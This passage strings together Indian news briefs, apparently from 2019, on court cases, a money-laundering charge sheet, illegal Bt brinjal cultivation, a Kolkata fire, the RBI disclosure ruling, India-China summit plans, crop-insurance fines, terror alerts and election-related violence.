of soldiers.... and ....cashing on their sacrifice. Tuli sought an FIR against Gandhi for spreading obscenity, insulting a public figure and also sedition. Tuli said he had lodged a complaint with the deputy commissioner of police (New Delhi) and station house officer on October 10, 2016 but the police had not taken action despite knowing that it was a cognisable offence. Pranav Jha, a Congress spokesperson, said the Congress party was not scared of frivolous litigation. Sundry complaints at the behest of PM and his party are not going to take away from the fact that as then, Shri Modi, almost habitually is hiding behind the supreme sacrifice of personnel from our forces even now, said Jha. The Enforcement Directorate on Thursday filed a supplementary charge sheet against former Haryana chief minister Om Prakash Chautala in connection with a money laundering case. The court has posted the matter for consideration on May 16. Chautala, 84, is being probed by CBI and ED for disproportionate assets worth Rs 6.09 crore. The ED in its charge sheet said that Chautalas modus operandi was to launder the disproportionate assets by depositing illegal cash in his and his family members bank accounts. This was done to avoid the back trail of money and to merge this illegal cash with genuine income and to show it as untainted money. The laundered money was used to purchase properties, to carry out construction. The ED further said that many letters and summons were issued to Chautala to clarify his stand and prove his legal source of income, but Chautala never appeared in EDs office. The ED in its charge sheet further said, that they suspect there are more properties involved in money laundering and there are many people who have not yet joined investigation Chautala who is currently serving a jail term in teachers recruitment scam, also moved an application through is counsel Harsh Sharma, Vaibhavi Sharma and Rohit Gaur to wear a fresh turban in jail. The former Haryana minister also moved an application seeking to get a new turban for himself in prison as the existing one was soiled. His counsel, Vaibhavi Sharma explained , whenever someone in custody, whatever they are suppose to take inside the jail premises it has to be authorized by the court. Farmer groups have alleged that Bt brinjal, a genetically modified variety, is being cultivated illegally in Haryana. Members of the Coalition for a GM-Free India, a group of farm organisations, claimed on Thursday that brinjal samples from a Fatehabad farm have tested positive for Bt protein. The coalition demanded that the government immediately ascertain the extent of illegal Bt brinjal cultivation, take deterrent action against seed suppliers involved and destroy all Bt brinjal plots to prevent contamination. This is clearly a failure of concerned government agencies that illegal Bt brinjal is being cultivated in the country. The regulatory body Genetic Engineering Appraisal Committee (GEAC) behaves more like a promotional body than a regulator...Bt cotton was approved in India after large-scale illegal cultivation was discovered in Gujarat. The regulators turned a blind eye to illegal herbicide tolerant cotton cultivation thereafter, while it spread to lakhs of hectares, said Kapil Shah of Jatan Trust, Gujarat. A senior official of the Genetic Engineering Appraisal Committee of the environment ministry said, We are not aware of this case. We will check. According to International Service for the Acquisition of Agri-biotech Applications (ISAAA), which works to promote bio-technology, Bt brinjal incorporates the cry1Ac gene expressing insecticidal protein which creates resistance against fruit and shoot borer , a pest. Activists collected samples from the Fatehabad farm based on a tip-off and then tested it using the lateral flow strip method. We cannot afford to allow this Bt brinjal cultivation to continue or spread. It is clear that this biohazard has to be contained and destroyed, and GEAC cannot allow citizens to be exposed to the health and environmental hazards of Bt brinjal. GEAC should ascertain and confirm that illegal Bt brinjal cultivation is indeed happening, and find out the full extent of such cultivation. We demand the immediate destruction of all such Bt brinjal plots. Further, no penal action should be taken against farmers who have been duped into cultivating these illegal seeds, said Sridhar Radhakrishnan from Kerala. In February 2010, after nationwide consultations with scientists, farmers and other stakeholders, then environment minister Jairam Ramesh had announced an indefinite moratorium on commercialisation of Bt brinjal. Brinjal is the first GM food crop in India. He had said that the moratorium will last till independent scientific studies establish the safety of Bt brinjal from the point of view of its longterm impact on human health and environment. A fire broke out at a four-story building, which houses a number of offices and residential flats, at a busy crossing in south Kolkata on Friday morning, officials said. Authorities said no one was trapped inside the building as firemen battled the blaze. Eight fire tenders have been deployed to bring the fire under control as a part of the buildings roof collapsed and huge cracks appeared on the walls. Preliminary observations indicate that a short-circuit in the air-conditioning machine could be the reason of the fire. We are confident of bringing the fire under control soon, director general of West Bengal fire services department Jag Mohan said. The occupants of the offices and residences rushed out as soon as the fire broke out. Everyone was evacuated safely. Although the fire has been largely brought under control, firefighters are trying to locate whether there are fires in some pockets, Jag Mohan said. Police cordoned off a part of the busy crossing during the rush hour leading to major traffic congestion in the adjacent areas. A senior official of the state fire services department said, There will be a probe on the fire safety systems in the building. A forensic probe will also be conducted. A major fire had broken out at the five-storied building in Bagri market in the trading hub of Burrabazar in central Kolkata, gutting more than 400 shops, in September 2018. The Jammu and Kashmir High Court on Friday dismissed two petitions by separatist leader Yasin Malik and others seeking transfer of cases related to the kidnapping of Rubiya Sayeed, daughter of former chief minister Mufti Mohammed Sayeed, and killing of Air Force personnel, from Jammu to Srinagar. The two cases are nearly 30-year-old. Malik, chairman of the Jammu and Kashmir Liberation Front, is currently lodged in Delhis Tihar Jail following his arrest in a terror funding case earlier this month. Justice Sanjay Kumar Gupta struck down a 2008 order that had transferred their hearing to Srinagar. In a 27-page judgment, the judge also vacated an order by a single bench of the high court which had stayed trial against Malik in 1995, besides observing that the October 25, 2008 order of a special Terrorist and Disruptive Activities (Prevention) Act (TADA) court of Jammu allowing Maliks petition for shifting trial to Srinagar was not correct. In 1989, Dr Rubiya Syed, daughter of then Union home minister Mufti Mohammed Sayeed, was kidnapped by terrorists when she was going to her house at Nowgam in a mini bus. She was taken to an undisclosed location and the terrorists threatened to kill her if their demands were not met. The second case relates to an incident that occurred on January 25, 1990 at Rawalpora, Srinagar. Four unarmed Air Force personnel were killed and at least 40 others, including a woman, were seriously injured when terrorists opened fire on them. Two chargesheets were filed by the CBI in August and September 1990 against Malik before the designated TADA court in Jammu. The Supreme Court (SC) on Friday ordered the Reserve Bank of India (RBI) to disclose its annual inspection reports of banks, along with the list of wilful defaulters and information related to them, under the Right to Information Act (RTI). RBI is duty bound under the law to disclose information sought under the RTI Act, it said. The apex court also ordered RBI to withdraw its disclosure policy, which it said, is in violation of an order passed by the court in 2015, directing the central bank to disclose information under the provisions of the RTI Act. It gave RBI one last opportunity to comply with the orders. Any further violation shall be viewed seriously, said the bench comprising Justices L. Nageswara Rao and M.R. Shah, who warned that the central bank could face contempt proceedings if it failed to furnish the information. Fridays order is part of long-running attempts to extract financial information in the backdrop of mounting bad debts at banks, with RBI resisting such attempts and bankers worrying about the potential impact on financial stability. Banks total non performing assets amounted to 11.2 trillion in FY18. In January, the top court had issued a contempt notice to RBI on a petition filed by RTI activists Subhash Chandra Agrawal and Girish Mittal, who said RBI had failed to disclose information they had sought on its annual inspection reports of banks. They claimed former RBI governor Urjit Patel had wilfully not complied with an order of the SC dating back to December 2015. Back then, the SC heard the complaints of a batch of transferred cases from different high courts under the case name of Jayantilal N. Mistry and others, to whom RBI had similarly denied information sought under the RTI Act. These petitioners had sought copies of RBIs inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India, between April 2011 and December 2015. But the central bank said such information was exempted under section 8(1)(e) of the RTI Act and section 45NB of the Reserve Bank of India Act, 1934. Ruling on the matter in December 2015, the SC judge M.Y. Eqbal rejected RBIs defence of economic interest and fiduciary relationship. The court observed that RBI is a statutory regulatory authority, which oversees the functioning of the banks, and the information about the banks is with it only by virtue of its nature as a statutory authority. The court had held that RBI is accountable to the general public and cannot withhold information under the defence of trust with the financial institutions. The court ruling prompted an immediate political response from advocate and activist Prashant Bhushan, who tweeted in a reference to Prime Minister Narendra Modi, Today, during the contempt proceedings, the SC has yet again ordered RBI to disclose it. Will Chowkidar comply? An RBI spokesperson said the central bank does not have any comment to offer at the moment. Typically bank inspection reports are not made public. The report is a comprehensive assessment of banks as an entity. Various thoughts can be taken out of context and could lead to wrong conclusions. That is a danger, said R. Gandhi, former RBI deputy governor. RBI is empowered under section 35 of the Banking Regulation Act, 1949 to conduct annual inspection of all commercial bankspublic, private and foreign. It conducts an on-site inspection of all banks once a year. RBI officials visit the head offices and branches of banks to inspect the books. Currently, the annual inspection is based on a Risk-Based Supervision method which focuses on evaluating both present and future risks, identifying incipient problems and facilitates prompt intervention/early corrective action. It covers financial position, functioning of board and various links of the bank, details of assets and liabilities, treasury management, asset liability management, liquidity operations, para banking activities, etc. I have the resilience and self-esteem to stay in the institution and be vocal about my opinions, but I dont think thats the right decision for everyone, Brick said. I certainly expect that queer people will not feel safe in a denomination as a whole that is choosing to do this. With nearly a month to go for the results of the general election, India and China have quietly begun preparing for the second informal summit between their top leadership that is expected to build on the gains of the first such meeting in Wuhan and bridge differences on key issues. New Delhi initially suggested dates in November for the meeting, set to be held in India, but later agreed on dates in October after Beijing said the timing of the summit should be advanced so that the momentum created by the Wuhan meeting isnt dissipated, people familiar with the developments on both sides said. A full plate of issues, including contentious matters such as the disputed border, especially in Arunachal Pradesh; Indias opposition to Chinas Belt and Road Initiative (BRI); and Chinas position on Pakistan-based terrorists, will be on the agenda for the summit, which an Indian official said would be qualitatively different from the Wuhan meeting between Prime Minister Narendra Modi and President Xi Jinping in April 2018. Also Watch | India, China step on the gas on oil sourcing plan The Wuhan summit was held against the backdrop of the military standoff at Doklam and was aimed at a reset in ties. There was strategic guidance from the leaders that things were better at the top and this message was sent down and resulted in better understanding in all arms of the government, said the Indian official, who didnt want to be identified. It restored some of the trust that had been lost and there has been better management of each others sensitivities. In the second summit, we expect to move beyond the ghost of Doklam and truly build on the Wuhan spirit, the official added, noting how both sides were making a conscious effort not to play up differences, including issues such as Indias decision to skip Chinas second Belt and Road Forum and Beijings hold on efforts to designate Jaish-e-Mohammed chief Masood Azhar at the UNs 1267 Sanctions Committee. People familiar with the thinking in official quarters in Beijing said China is looking to take up issues under four broad areas at the summit. The first area is contentious matters such as the border dispute, BRI and the Dalai Lama. The second is trade and investment as Beijing continues to be concerned about Indias trade deficit (which stood at $51.72 billion in 2017, and which China wants to address ) and issues such as market access. The third is enhancing people-to-people contacts and cultural exchanges. And the fourth is Indias position on matters that are of concern to China, such as the Indo-Pacific, the Quad and the South China Sea, the people said. The people added that while there is better rapport between the top leadership of the two countries, there is a feeling in Beijing that this hasnt percolated down to all levels of the government and the people. It was because of this that Beijing had suggested the creation of the high level mechanism on cultural and people-to-people exchanges, which held its first meeting in Delhi last December. The Indian official noted that Chinas lifting of the block on Masood Azhars listing as a global terrorist could help improve people-to-people contacts. People familiar with the thinking in New Delhi also noted that circumstances on the world stage such as the US ending exemptions to sanctions on Iranian oil imports and Washingtons position on trade issues had placed India and China on the same side. A venue for the second summit is yet to be finalised, though people familiar with the developments said the choice could be one that reflects Indias long civilisational history and also provides locations where the two leaders should spend time in private to discuss issues. Despite the current understanding on dates in October, some quarters in Beijing are hoping the timing will be further advanced. India and Turkey have discussed how they can work together to counter terrorism and common challenges such as the US decision to end exemptions to sanctions on Iranian oil imports, Ibrahim Kalin, senior advisor to the Turkish president, said on Friday. Kalin, who held talks with National Security Adviser Ajit Doval and foreign secretary Vijay Gokhale, said Turkey and India find themselves on the same page on several pressing issues, including US sanctions on Iranian oil imports and Russian military equipment, and the American plan to end the Generalised System of Preferences (GSP) for preferential duty-free imports. Like India, Turkey has been threatened with US sanctions under the Countering Americas Adversaries Through Sanctions Act for procuring the S-400 air defence system from Russia. Kalin told an event at Observer Research Foundation Turkey opted for the Russian system only after trying unsuccessfully to buy the Patriot missile system from the US for 10 years. Kalin said US sanctions dont work and hurt everybody, and Turkey is on the same page with European nations on the issue of US ending exemptions to sanctions on Iranian oil imports, which are set to take effect from May 2. Despite the threat of sanctions, he said Turkey had no plans to cut oil imports to zero or to stop trade with Iran for the time being. We are talking to the Europeans (to see) how we can find ways and mechanisms by which we continue to trade with Iran without affecting our economy and without violating the sanctions and having another confrontation with the US over this issue, he said. He added he hadnt heard anything officially about India joining such a mechanism US unilateralism and trade wars will cost everyone, and the raising of tariffs and taxes in the name of protecting the American economy will certainly backfire, Kalin said. If the idea is to change Iranian behaviour on certain regional issues in Iraq, Yemen and Syria, that will not happen through sanctions. You have to have further engagement and dialogue with Iran rather than this kind of antagonistic sanction-based policy, he said. Kalin said in Turkeys view, there is no difference between the attack on mosques in New Zealand and the suicide bombings in Sri Lanka claimed by Islamic State. Nine suicide bombers carried out a series of blasts targeting churches and luxury hotels on Easter Sunday in Sri Lanka, killing 253 people. On March 15, a white supremacist killed 50 people and injured many others in two mosques, the deadliest mass shootings in New Zealand. The same mindset was behind both attacks and the IS ideology has nothing to do with Islam, he added. Insurance companies owe hundreds of crores of rupees to farmers in crop-insurance claims, stoking farm distress and prompting the government to impose steep fines on insurers for the first time, official data reviewed by HT show. Under a new rule introduced in October 2018 (which took effect in January 2019), insurance companies will have to pay fines for delaying payment of crop-insurance claims. These claims have become a political issue amid an agrarian crisis and the ongoing parliamentary elections. Enforcement of this new rule governing the Pradhan Mantri Fasal Bima Yojana (PMFBY) the flagship subsidised farm insurance scheme of the current government has revealed the magnitude of the problem: outstanding claims owed to farmers amounted to nearly 530 crore until March 31, 2019. To be sure, some of this amount may have been paid out by the companies since. About eight companies have now been slapped with a fine of 16 crore for various delays, a person familiar with the matter said on condition of anonymity. An insurance company must now make payments within 30 days of receiving all claims-related data, failing which penalty at a rate of 12% of the outstanding is levied. Delay in paying compensation for crops ruined by weather shocks can have a domino effect on the fortunes of individual farmers and the overall economy. Such delays can push millions of farmers into poverty, leaving them with little money for the next sowing season. Also, such delays hamper farmers ability to service their agricultural loans, pushing them closer to the brink of default. Farm insurance is compulsory for any farmer taking an agricultural loan. Such vicious cycles of delayed payments, among other issues, were one of the factors behind massive protests by farmers in the last two years to demand farm loan waivers; political parties responded by announcing loan amnesties for farmers ahead of the 2019 elections. The outstanding amount of 530 crore accrued over the past four sowing seasons between the kharif or summer sown season of 2016 to the winter sowing season of 2017-18, points to entrenched practice of delaying payments. Farmers under PMFBY have to pay between 1% and 2% of the total premium, depending on crops and sowing season. The rest is shared between the Centre and states on a 50-50 basis. To be sure, farm insurance is crucial in a country where crops are vulnerable to drought, unseasonal rains, even pest attacks. Nearly 54% of the sown area lacks irrigation cover and 12 million hectares, on average, suffer annual weather shocks. Official data show that the voluntary enrolment of farmers without any farm loan has remained steady since the launch of the PMFBY in 2016, indicating that farmers do find it useful. A majority of those fined are public-sector insurance companies since they have, between them, a majority share of the farm insurance business. The fines, aimed at ensuring compliance of insurance companies with making timely payments, are one of the two changes introduced under the revised guidelines of the PMFBY last year. The second provides for penalising state government for their share of the delay. One partly public-owned insurance firm, Agricultural Insurance Company of India Ltd (AICIL), said it was examining the penalty slapped on it. It is a positive step, responsibility should be fixed. But penalty has to have a valid reason. Claims cannot be cleared just because data has been cleared by states. There can be discrepancy in claims data sent by states or consequential delays from state governments, who often cause delays in releasing premium, said Rajeev Chaudhary, the chief risk officer of AICIL. Currently 18 companies are empanelled to offer farm insurance. Of these, five are state-owned. The share of crop insurance business with state-owned firms is 52%. According to Ashok Gulati, an economist with think-tank ICRIER, if the PMFBY scheme is to achieve its most critical goal timely payouts to farmers it will have to rely on high-end technological fixes, from drones to even a new constellation of satellites, for accurate crop damage assessments, which is the key to faster processing of claims. A Delhi court on Thursday granted bail to the Caravan magazine editor-inchief, Paresh Nath, and reporter Kaushal Shroff in a defamation case. National Security Advisor Ajit Dovals son, Vivek Doval, has filed the case. The court scheduled the hearing on Congress leader Jairam Rameshs bail in the case on May 9 after he moved an exemption application. On the next date of hearing, the court will also deal with the matter regarding framing of notice wherein all three accused will be informed about the offence alleged against them. They will be asked if they plead guilty or want a trial. All the accused shall remain present personally for the purpose of framing of notice on the next date of hearing, said additional chief metropolitan magistrate Samar Vishal. Vivek Doval, an overseas citizen of India and a UK national, had moved the court against Ramesh and the Caravan regarding an article published in the magazine on January 16 about purported hedge funds Vivek Doval controlled and its activities following the November 2016 demonetisation. Abdul Gani Turk, who was among those convicted of their role in the 1993 Mumbai bomb blasts, died at the government hospital here on Thursday. Nagpur Central Jail superintendent, Rani Bhonsale, said Turks situation suddenly deteriorated and he was immediately rushed to the hospital. A post mortem will be conducted at the hospital tomorrow, she said. We have informed the family members of Turk about his death at the hospital. Turk was brought to Nagpur central jail in 2012.Turk was convicted for planting the bomb at Mumbais Century Bazaar, one of the 12 sites devastated by serial blasts on March 12, 1993. A special TADA court had convicted him for driving a van loaded with RDX from the house of the primary accused, Ibrahim Mushtaq Tiger Memon, in Mahim, to Century Bazaar in Worli. The Century Bazaar blast killed 113 people; at least 257 people were killed in the coordinated attacks across Mumbai. The other blasts took place at the Bombay Stock Exchange, Katha Bazar, Lucky petrol pump near Sena Bhavan, Fishermens colony at Mahim Causeway, Air India Building, Hotel Sea Rock, Zaveri Bazaar, Plaza Theatre, Centaur Hotel in Juhu and the Centaur Hotel. The National Green Tribunal (NGT) administered a sharp rebuke to the Uttar Pradesh government for the thousands of tonnes of solid waste that piled up in Prayagraj and untreated sewage that flowed into the Ganga during the 49-day Kumbh mela, expressing concern that the city was on the verge of an increase in cases of diseases such as acute diarrhoea, enteric fever, viral hepatitis and cholera. The green court pulled up the UP chief secretary for severe lapses in letting the situation in Prayagraj, formerly known as Allahabad, to come to such a pass and instructed the officer to appear before it on Friday. It called for urgent steps to dispose off the solid waste that accumulated in the city during the Kumbh mela, which started on January 15 and concluded on March 4, and said officers responsible for the mess must be held accountable. Millions of pilgrims gathered in Prayagraj for the Kumb mela to take a bath in the Sangam, the confluence of the Ganga, Yamuna and the mythical Saraswati rivers. Devout Hindus believe that a bath in the waters during the fair, which marks a propitious alignment of planetary positions, cleanse them of their sins and free them from the cycle of birth and rebirth. Before the event was underway, the NGT appointed a committee to ensure that the already polluted river waters did not become more foul. Thursdays order by the tribunal was based on a report filed by the committee, headed by justice Arun Tandon, which found the situation to be alarming and needed to be dealt with urgently to avoid potential epidemics. A bench headed by NGT chairperson, justice Adarsh Kumar Goel, said accountability must be fixed at the ground level and personal supervision by senior officials ensured . Quoting the UP chief secretary, the NGT report said 60,000 tonnes of untreated solid waste had piled up at the Baswar solid waste treatment plant. Out of this figure, 18,000 tonnes had been generated during the Kumbh mela; the waste treatment plant hadnt even been operational since September 2018. The NGT report predicted a rise in case of acute diarrhoea, enteric fever, viral hepatitis and cholera. The tribunal said the groundwater too had been polluted. Dirty water from toilets was being collected in kutcha pits. The base of the soak pits had not been lined and the dirty water could percolate underground, the report said. The committee found that a large number of toilets were constructed in camps on the Arail side, very close to the river. Rajapur Sewage Treatment Plant (STP) received excess sewage than the installed capacity. Only 50% of the Rajapur drain was being treated through geo tube (it extracts solid waste from the waste going in the drain so that only water enters it) and the remaining 50 per cent was being permitted to enter Ganga without treatment,it said. An Uttar Pradesh government spokesman said a compliance report had been submitted to the NGT and chief secretary Anoop Chandra Pandey would appear before the tribunal on Friday. Additional municipal commissioner of Prayagraj, Amrendra Verma, said a private company named Hari Bhari had been entrusted with the task of processing of solid waste at the Baswar plant and a notice had already been served on it to complete its job. The municipal corporation is not directly responsible for disposal of solid waste as the private firm has been allotted tender for the job. Since the firm failed to do its work efficiently, a notice has been issued for completing the task at the earliest. Municipal commissioner Ujjawal Kumar was directly monitoring waste disposal of Kumbh Mela but he is on leave and will be back after a couple of days, he added. Divisional commissioner of Prayagraj, Ashish Kumar Goel, who is also the chairman of the Kumbh Mela Authoritythe main organizer of the fair said facts on the disposal of solid waste would be placed before the tribunal. We have done our best. Responsibility will be fixed on officials for the laxity. By any means, this mela was better than any of the previous ones, he said. The tribunal said the sewage treatment plant in Salori too had not been working property. It had more sewage than it could treat. The geo tube was not working satisfactorily and 50 per cent of the sewage from the drain was trapped and the rest was going into the Ganga, the report said. Coming down hard on the so-called geotube technology deployed during the Mela, NGT termed it a failure. The technology was supposed to filter sewage waste before letting it enter the river. The Mawaiya Nala, where the technology has been adopted, had a bypass because of which untreated water from the drain entered the Ganga. The committee also found that there existed a big, dirty water pond at Parmarth Niketan Arail and human excreta was seen floating in it. Similarly, the report said Mansuthia, another drain, also had a bypass, due to which untreated waste met treated waste just before it was allowed to enter the Ganga. Creation of bypass at places where geotube technology had been adopted has let dirty water enter the river, NGT said. According to AK Gupta, amicus curie (Latin for friend of the court) in a Ganga Pollution case, he had submitted an application in the Allahabad high court carrying a list of 83 drains in the city. Forty-six of these drains remained untapped during the Kumbh Mela and dumped untreated sewage water in the Ganga and the Yamuna. I had apprised divisional commissioner Ashish Goel several times about untapped drains but he not only chose to ignore the same, but also kept me out of every committee supervising the same, he added. An under-maintenance aircraft of Air India that was being readied for a flight to San Francisco caught fire at a parking bay of the Indira Gandhi International Airport (IGIA) Wednesday night. The aircraft was scheduled to fly at 3.30am Thursday and it finally departed with 248 people onboard after a delay of six hours. According to airport officials, the incident took place around 8.30pm. The aircraft, a Boeing777-200LR, was undergoing a routine maintenance check when a glitch led to an auto shutdown of the auxiliary power unit (APU) a small jet engine housed in the tail of the aircraft. Because of this, there was an oil leak and when the airline engineers restarted the APU, it caught fire, an airport official, not authorised to speak to the media, said. The incident took place near one of three fire stations on the airside. Airport operator, Delhi International Airport Ltd (DIAL), said its fire tenders were rushed to the spot and the flames were doused using foam extinguishers within three minutes. The fire led to no untoward incident, DIAL said. Reacting to the incident, Air India spokesperson said their engineering team was attending to the plane when smoke was noticed in the APU. As Air India accords top priority to safety issues, all corrective measures were taken to deal with the situation. To facilitate comprehensive checks and necessary repairs, the flight departure time was rescheduled from 3.30am to 10am, and passengers were informed accordingly, the spokesperson said. An airport officer said none of the airlines engineering staff was available at the spot when the incident took place. However, Air India denied this and said the aircraft inspection is conducted by a certified engineering team. Hence, doubts over the presence of our technically proficient engineers at the site is entirely baseless, it said in a statement. The Directorate General of Civil Aviation (DGCA) on Friday initiated a probe after Congress president Rahul Gandhi tweeted that engine trouble in his chartered flight from New Delhi to Patna forced him to return to the national capital. A DGCA team is inspecting the aircraft and collecting data from the recorder to ascertain the possible cause of the incident. The Hawker 850 XP chartered plane is owned by Forum 1 Aviation. We have sent two officers to inspect the plane and investigate the matter, a DGCA official said. Gandhi also posted a 21-second video along with the tweet, which showed the pilots manoeuvring the small plane. Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays [election] meetings in Samastipur (Bihar), Balasore (Odisha) & Sangamner (Maharashtra) will run late. Apologies for the inconvenience, Rahul Gandhi tweeted. Congress declined to comment on the issue. The flight took off from Delhi around 9.30 am and landed safely at 10.21am, according to officials in the air traffic control room. One of the officials said the pilots informed them about the snag in the plane and requested a priority landing after the technical glitch. A DGCA team also reached the Delhi airport after they received the information about the plane. A Forum 1 Aviation executive said that the aviation regulator is probing the matter and there seems to be no serious issue with the aircraft. Gandhi faced a similar situation ahead of the Karnataka assembly election last year when an aircraft flying him to Hubballi suffered snag mid-air after its auto-pilot system failed. The Congress party had then complained to the state police, alleging that the incident raised questions of intentional tampering to endanger the life of passengers. The DGCA in its report said that the incident was survivable. Seven states, including all south Indian ones, were put on alert late on Thursday after the Bengaluru police received a tip-off about a possible terror attack on multiple cities and the gathering of a group of terrorists in Tamil Nadus Ramnathapuram. The alert comes at a time when security and intelligence agencies are concerned about the existence of sleeper cells on Indian soil that could be linked to the group that carried out bombings in Sri Lanka, where 253 people were killed on Sunday during Easter celebrations. A caller claiming to be a lorry driver said major cities in Tamil Nadu, Karnataka, Kerala, Andhra Pradesh, Telangana, Goa, Maharashtra and Puducherry would be hit by terror attacks (which) will take place on trains, said the letter issued by Karnataka director general of police to the states mentioned in the tip. Also Watch | Sri Lanka: 15 killed in gunfight between troops & suspected IS militants He also claimed that there are 19 terrorists present at Ramanathapuram, Tamil Nadu, the letter added. A Karnataka police official, who asked not to be named, said the letter had been sent out after analysing the tip-off, which was received around 5:30pm. Inputs with the police suggest that over a dozen terrorists could have sneaked through Ramanathapuram, the officer added. Ramanathapuram is few kilometres west of Rameswaran on the east coast, which is a short nautical distance from Sri Lanka. Tamil Nadu too issued alerts to district and coastal security officials. A Maharashtra police officer said ... places that attract crowds have all been put under extra surveillance. The Andhra Pradesh police also confirmed it was on alert. Indian security officials are also on alert for a possible new cell, which could either by a part of the Islamic State group or an expansion of the National Towheed Jamaat (NTJ). A local court on Friday convicted Narayan Sai, son of self-styled godman Asaram, in a rape case. The court will pronounce the quantum of sentence on April 30. Two chargesheets were filed against 35 persons. The prosecution had produced 53 witnesses and documents as evidence. The defense had also produced 14 witnesses, said Sais lawyer Kalpesh Desai. The 40-year-old Narayan Sai was arrested from Pipli near Haryanas Kurukshetra in December 2013 after two sisters from Surat filed rape complaints against him and his father Asaram in October that year. One of the women had accused Sai of repeated sexual assaults when they were living at Asarams ashram between 2002 and 2005 in Surat. The victims elder sister had also made a similar allegation against Asaram while she was living at an ashram on the outskirts of Ahmedabad between 1997 and 2006. The two sisters had lodged separate complaints against Sai and Asaram for allegedly raping them. Police had booked Asaram and his son Narayan Sai on charges of rape, sexual assault, illegal confinement and other offences. Four of Sais aides were also arrested in connection with the case. Timeline: October 6, 2013: Sexual assault case filed against Narayan Sai and four others in Jahangirpura police station October 9, 2013: Victim deposes before judge under CRPC section 164 October 25, 2013: Police raid Asarams Ahmedabad ashram, many documents seized November 16, 2013: Cash prize of 5 lakh announced over information on Narayan Sai and 1 lakh on aides Hanuman and Jamuna November 21, 2013: Narayan Sais anticipatory bail plea cancelled December 4, 2013: Narayan Sai arrested from Punjab-Haryana border In response to the data posted online late Thursday, Sterigenics released a statement that focused on the presence of ethylene oxide in most of the samples collected by the EPA after state regulators shut down the Willowbrook facility. The results provide further evidence that there are other sources of EO in Willowbrook aside from the Sterigenics Willowbrook facility, the company said in its statement. Indian Mujahideen (IM) operative Yasin Bhatkal waged a war to create a Caliphate until he was arrested in 2013 and sentenced to death three years later. Bhatkal now appears to have made new friends in Delhis Tihar Jail, where he is on death row, and is fighting for another cause the use of induction cookers. A prison officer, who did not wish to be named, said Bhatkal last week led a twoday hunger strike demanding that jail inmates be allowed continued use of the cookers. Jail authorities had allowed prisoners to use induction cookers in December to warm water and milk when the mercury plummeted to a record low in a decade. The cookers were withdrawn this month after complaints that prisoners were misusing them to cook food in violation of norms. Prisoners are not allowed to cook and get food from the jail kitchen. Bhatkal has made friends with suspected Delhi gangster Ravi Kapoor, who is in prison for allegedly murdering journalist Soumya Viswanathan and executive Jigisha Ghosh, the officer added. Another IM operative, Asadullah Haddi, and some members of northeast Delhis Cheenu gang joined Bhatkal and Kapoor for the strike. Active in parts of northeast Delhi, several members of a criminal gang led by a man named Cheenu have been arrested for arms smuggling, extortion, land grabbing, and murder. For two days, they refused to eat. It was only after talking to many prisoners and explaining to them the problems that they left Bhatkal alone and later he also withdrew the protest. Later, we realised Bhatkal was instigating them, the prison officer said. Another officer said Bhatkal was at the forefront of the protest. For two days, they held a hunger strike and refused to budge. They were the ones misusing the privilege. Later, others decided not to continue the protest, another officer said. A third prison officer said Bhatkal was lodged in a high-security cell. Prisoners in jail for heinous crimes are lodged in isolated high-security cells under strict surveillance. But Bhatkal still manages to interact with other prisoners during the day when the cell doors are opened as per norms. People like Bhatkal are hardened prisoners. They instigate other prisoners to rebel against jail officers as a pressure tactic. They know that they are not coming out and resort to such things, the officer said. A Tihar jail spokesperson confirmed Bhatkal started the protest but refused to comment further on the protests inside the jail. It is an internal matter. We would not comment on what happened. Bhatkals real name is Mohammed Ahmad Siddibapaa, 36. He is from Karnatakas Bhatkal town. A Hyderabad court sentenced him to death in 2016. Bhatkal was convicted of his involvement in the 2013 Diksukh Nagar blasts in Hyderabad that left 18 dead. He has also been named as an accused in blasts in Ahmedabad and Bengaluru in 2008 as well as the 2012 Pune blast. Bhatkal, who was traced to Nepals Pokhara in 2013, was sentenced to death for the Hyderabad blasts along with five other men. The convictions were the first involving members of the IM, which has been blamed for a spate of bombings since 2008. The attacks included the 2008 serial blasts in Delhi that left 21 people dead. The IM first came to prominence following bombings in Uttar Pradesh in November 2007. It sent an e-mail to media outlets before some of the bombs went off. The IM also sent another e-mail after the 2008 Jaipur blasts that killed 63. A 30-year-old party worker of the Trinamool Congress was hacked to death and two others injured, allegedly by Bharatiya Janata Party supporters, on Thursday night in West Bengals Malda district, where polling concluded on April 23. The violence follows the incident in which seven TMC workers were injured when bombs were hurled at them allegedly by Congress workers on polling day. On April 25, Sanatan Mahaldar, a TMC worker, was killed at a devotional gathering in Shimla village. Two others, Raju Mahaldar, 32, and Ganesh Mahaldar, 28, were injured when they tried to resist the attack on Sanatan. We have started an investigation into the murder and raids are on to nab the accused, said superintendent of Malda police, Ajay Prasad. Police detained three persons but main accused are absconding, said officers. Tutul Mahaldar, the deceaseds elder brother, lodged a complaint against one Shakti Mahaldar and nine others at Pukuria police station. Malda BJP president, Sanjit Mishra, said, I accept that those who killed Sanatan are BJP supporters, but the murder is not the outcome of any political clash. In the elections, most of the people of Shimla village cast their vote in favour of the BJP. Annoyed, Sanatan issued a diktat that he would not allow any BJP worker to remain in the committee that organised the devotional soiree. That triggered the clash. However, Sanatans mother, Parbati, had a different version. My son was attacked by some BJP workers when he was returning home. He was about 40 metres from the house when they caught him, she claimed. In a separate incident on Friday in the district of West Midnapore, BJP leaders alleged that one of their local leaders were attacked on Friday when he was putting up party flags. Tamil Nadu assembly speaker P Dhanapal on Friday initiated the process of disqualifying three more members of the ruling All India Anna Dravida Munnetra Kazhagam (AIADMK) from the House in addition to the 18 who have already lost their membership for defecting to a breakaway group. Though speaker Dhanapal is yet to issue notices to A Prabhu, V Rathinasabapathy and VT Kalaiselvan , people aware of the developments say discussions with legal experts are on about how many days should be given to them for their explanations. The speakers action follows a complaint filed against the three legislators by government whip S Rajendran charging them with acting against the party and the government headed by chief minister Edappadi K Palaniswami earlier in the day. Eighteen legislators have been disqualified for switching their allegiance to the Amma Makkal Munnetra Kazhagam (AMMK), a party established by TTV Dhinarakan, who founded it with rebels from the ruling party. By-elections for the 18 assembly constituencies took place on April 18 with polls to 38 of states 39 Lok Sabha seats. Commenting on the start of disqualification proceedings, Dhinakarans lieutenant, Thanga Tamilselvan, described the move as a panic reaction by the AIADMK. Congress president Rahul Gandhi accepted the resignation of Radhakrishna Vikhe Patil as the leader of the Opposition in the legislative Assembly. Vikhe Patil had submitted his resignation to Gandhi immediately after his son and BJPs Lok Sabha candidate Sujay joined the saffron party in March. Maharashtra Congress chief Ashok Chavan made the announcement in a press conference held in Shirdi on Thursday. The party leadership has accepted Vikhe 